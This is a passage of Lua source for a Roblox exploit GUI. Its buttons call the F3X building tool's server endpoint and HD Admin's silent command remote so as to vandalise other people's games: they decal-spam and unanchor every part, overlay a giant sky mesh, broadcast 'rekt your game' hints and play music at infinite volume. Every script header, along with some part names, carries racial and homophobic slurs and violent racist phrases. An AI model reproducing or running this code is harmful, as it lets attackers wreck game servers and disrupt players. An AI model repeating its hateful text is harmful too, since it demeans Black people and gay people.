for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService("RunService")
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function reflect(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Reflectance"] = int
}
}
}
_(args)
end
function SetTransparency(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local images = {
"http://www.roblox.com/asset/?id=124376571387520",
"http://www.roblox.com/asset/?id=76587598046808",
"http://www.roblox.com/asset/?id=138455026198793",
"http://www.roblox.com/asset/?id=71016478125295",
"http://www.roblox.com/asset/?id=107203415403063",
"http://www.roblox.com/asset/?id=73677733256548",
}
local skyPart
local skyLoop
function CreateSky()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, -6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, -6, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
MeshResize(skyPart, Vector3.new(4000, 4000, 4000))
SetTransparency(skyPart, 1)
reflect(skyPart, 1000)
local currentFrame = 0
local frameInterval = 0.1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
if not skyPart then
skyLoop:Disconnect()
return
end
currentFrame = currentFrame + deltaTime
if currentFrame >= frameInterval then
currentFrame = 0
local index = math.floor((tick() / frameInterval) % #images) + 1
pcall(function()
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
end)
end
end)
break
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild("Humanoid") then
char:WaitForChild("Humanoid").Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
end;
task.spawn(C_49);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_4b()
local script = G2L["4b"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("79984841409166")
end)
end;
task.spawn(C_4b);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_4d()
local script = G2L["4d"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Fuck niggers")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200))
SetLocked(v,true)
end
end
end
Sky("79984841409166")
end)
end;
task.spawn(C_4d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_4f()
local script = G2L["4f"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
remote:InvokeServer(unpack(args))
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
local function particle()
while true do
wait(0.2)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then continue end
local x = hrp.Position.X + math.random(-100, 100)
local z = hrp.Position.Z + math.random(-100, 100)
local y = hrp.Position.Y - 35
local spawnPosition = CFrame.new(x, y, z)
spawn(function()
CreatePart(spawnPosition, workspace)
wait(0.06)
for _, v in workspace:GetChildren() do
if v:IsA("Part") and (v.Position - Vector3.new(x, y, z)).Magnitude < 1 then
local part = v
SetName(part, "black people are threats")
Resize(part, Vector3.new(7, 7, 0.001), part.CFrame)
SetCollision(part, false)
SetTrans(part, 1)
SetAnchor(true, part)
part.Orientation = Vector3.new(0, 0, 0)
SpawnDecal(part, Enum.NormalId.Front)
AddDecal(part, "79984841409166", Enum.NormalId.Front)
SpawnDecal(part, Enum.NormalId.Back)
AddDecal(part, "79984841409166", Enum.NormalId.Back)
local up = 50
for i = 4, up do
if part and part.Parent then
local newCF = part.CFrame + Vector3.new(0, 4, 0)
Resize(part, part.Size, newCF)
wait(0.01)
end
end
delete(part)
break
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(particle)()
end)
end;
task.spawn(C_4f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_51()
local script = G2L["51"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
-- get all info
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if (v:IsA("BasePart") or v:IsA("UnionOperation")) and v.Name ~= "kys" then
spawn(function()
setanchor(v, false)
end)
end
end
end
unanchorall()
end)
end;
task.spawn(C_51);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_53()
local script = G2L["53"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";hint El c00paraz rekt your game XD")
end)
end;
task.spawn(C_53);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_56()
local script = G2L["56"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 90172630743490 ;pitch 0.14 ;volume inf") -- U can change all of it with your commands!
end)
end;
task.spawn(C_56);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_58()
local script = G2L["58"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 94091074700596 ;pitch 1 ;volume inf") -- U can change all of it with your commands!
end)
end;
task.spawn(C_58);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_5a()
local script = G2L["5a"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 78154401411744 ;pitch 0.040 ;volume inf")
end)
end;
task.spawn(C_5a);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_5c()
local script = G2L["5c"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 102458315572870 ;pitch 0.15 ;volume inf")
end)
end;
task.spawn(C_5c);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_5e()
local script = G2L["5e"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 70463237028195 ;pitch 0.17 ;volume inf")
end)
end;
task.spawn(C_5e);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_60()
local script = G2L["60"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 89740490855607 ;pitch 0.1 ;volume inf")
end)
end;
task.spawn(C_60);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_62()
local script = G2L["62"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 18841888868")
RequestCommand:InvokeServer(";pitch 1")
RequestCommand:InvokeServer(";volume inf")
end)
end;
task.spawn(C_62);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_64()
local script = G2L["64"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 120785124326826 ;pitch 0.8 ;volume inf")
end)
end;
task.spawn(C_64);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_66()
local script = G2L["66"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 99364334697497 ;pitch 0.10 ;volume inf") -- U can change all of it with your commands!
end)
end;
task.spawn(C_66);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_68()
local script = G2L["68"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 102518604969857 ;pitch 1.05 ;volume inf")
end)
end;
task.spawn(C_68);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_6a()
local script = G2L["6a"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 127653283576622")
RequestCommand:InvokeServer(";volume inf")
end)
end;
task.spawn(C_6a);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_6c()
local script = G2L["6c"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 87744462419495 ;pitch 0.11 ;volume inf")
end)
end;
task.spawn(C_6c);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..LocalScript
local function C_6d()
local script = G2L["6d"];
-- Drag Script (Revamped by Sloshy 🙏)
local UIS = game:GetService('UserInputService')
local TweenService = game:GetService('TweenService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
TweenService:Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_6d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_6f()
local script = G2L["6f"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";r6")
end)
end;
task.spawn(C_6f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_71()
local script = G2L["71"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me ;give me b ;give me")
end)
end;
task.spawn(C_71);
return G2L["1"], require;



Hi please create 9246_45 gui ?
good gui